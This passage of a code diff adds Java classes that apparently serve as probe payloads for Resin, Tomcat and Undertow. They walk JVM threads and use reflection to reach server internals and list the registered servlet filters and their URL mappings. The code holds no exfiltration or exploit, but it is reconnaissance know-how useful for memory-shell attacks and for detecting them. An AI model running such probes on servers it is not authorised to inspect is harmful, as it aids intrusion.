if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
|
||||||
|
if (filterClassName == null) {
|
||||||
|
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
|
||||||
|
if (filterClass != null) {
|
||||||
|
filterClassName = filterClass.getName();
|
||||||
|
} else {
|
||||||
|
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
|
||||||
|
if (filter != null) {
|
||||||
|
filterClassName = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(filterName);
|
||||||
|
List<String> urlPatterns = new ArrayList<>();
|
||||||
|
String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null);
|
||||||
|
if (urlPattern == null || urlPattern.isEmpty()) {
|
||||||
|
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
|
||||||
|
if (matchList != null && !matchList.isEmpty()) {
|
||||||
|
for (Object match : matchList) {
|
||||||
|
if (((Integer) getFieldValue(match, "_value")) == 1) {
|
||||||
|
urlPatterns.add(getFieldValue(match, "_regex").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
urlPatterns.add(urlPattern);
|
||||||
|
}
|
||||||
|
if (!urlPatterns.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).addAll(urlPatterns);
|
||||||
|
}
|
||||||
|
List<String> servletNames = (List<String>) getFieldValue(filterMapping, "_servletNames");
|
||||||
|
if (servletNames != null && !servletNames.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).addAll(servletNames);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.caucho.server.webapp.Application
|
||||||
|
* /usr/local/resin3/lib/resin.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = null;
|
||||||
|
try {
|
||||||
|
servletInvocationClass = thread.getContextClassLoader()
|
||||||
|
.loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (servletInvocationClass != null) {
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+250
@@ -0,0 +1,250 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> org.apache.catalina.core.StandardContext
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps");
|
||||||
|
if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
|
||||||
|
for (Object fm : filterMaps) {
|
||||||
|
// fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
// filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef
|
||||||
|
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
|
||||||
|
String filterClass = (String) invokeMethod(filterDef, "getFilterClass");
|
||||||
|
if (filterClass == null) {
|
||||||
|
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
|
||||||
|
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||||
|
Object filter = invokeMethod(filterConfig, "getFilter");
|
||||||
|
if (filter != null) filterClass = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String[] urls = null;
|
||||||
|
try {
|
||||||
|
urls = (String[]) invokeMethod(fm, "getURLPatterns");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5 org.apache.catalina.deploy.FilterMap
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
|
||||||
|
if (urlPattern != null) {
|
||||||
|
urls = new String[]{urlPattern};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
|
||||||
|
String[] servletNames = null;
|
||||||
|
try {
|
||||||
|
servletNames = (String[]) invokeMethod(fm, "getServletNames");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5 org.apache.catalina.deploy.FilterMap
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null) {
|
||||||
|
servletNames = new String[]{servletName};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+212
@@ -0,0 +1,212 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class UndertowFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> io.undertow.servlet.spec.ServletContextImpl
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// deploymentInfo -> io.undertow.servlet.api.DeploymentInfo
|
||||||
|
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
||||||
|
Map<String, Object> filters = (Map<String, Object>) getFieldValue(deploymentInfo, "filters");
|
||||||
|
List<Object> filterUrlMappings = (List<Object>) getFieldValue(deploymentInfo, "filterUrlMappings");
|
||||||
|
List<Object> filterServletNameMappings = (List<Object>) getFieldValue(deploymentInfo, "filterServletNameMappings");
|
||||||
|
for (Object filterUrlMapping : filterUrlMappings) {
|
||||||
|
// filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo(filterUrlMapping, filters, aggregatedData);
|
||||||
|
String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping");
|
||||||
|
if (urlPattern != null) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (Object filterServletNameMapping : filterServletNameMappings) {
|
||||||
|
// filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData);
|
||||||
|
String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping");
|
||||||
|
if (servletNames != null) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletNames);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo(Object filterServletNameMapping, Map<String, Object> filters, Map<String, Map<String, Object>> aggregatedData) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
String filterName = (String) getFieldValue(filterServletNameMapping, "filterName");
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
Class<?> filterClass = (Class<?>) getFieldValue(filters.get(filterName), "filterClass");
|
||||||
|
info.put("filterClass", filterClass.getName());
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = thread.getContextClassLoader()
|
||||||
|
.loadClass("io.undertow.servlet.handlers.ServletRequestContext");
|
||||||
|
Object requestContext = invokeMethod(clazz, "current", null, null);
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
|
||||||
|
if (servletContext != null) {
|
||||||
|
contexts.add(servletContext);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+254
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
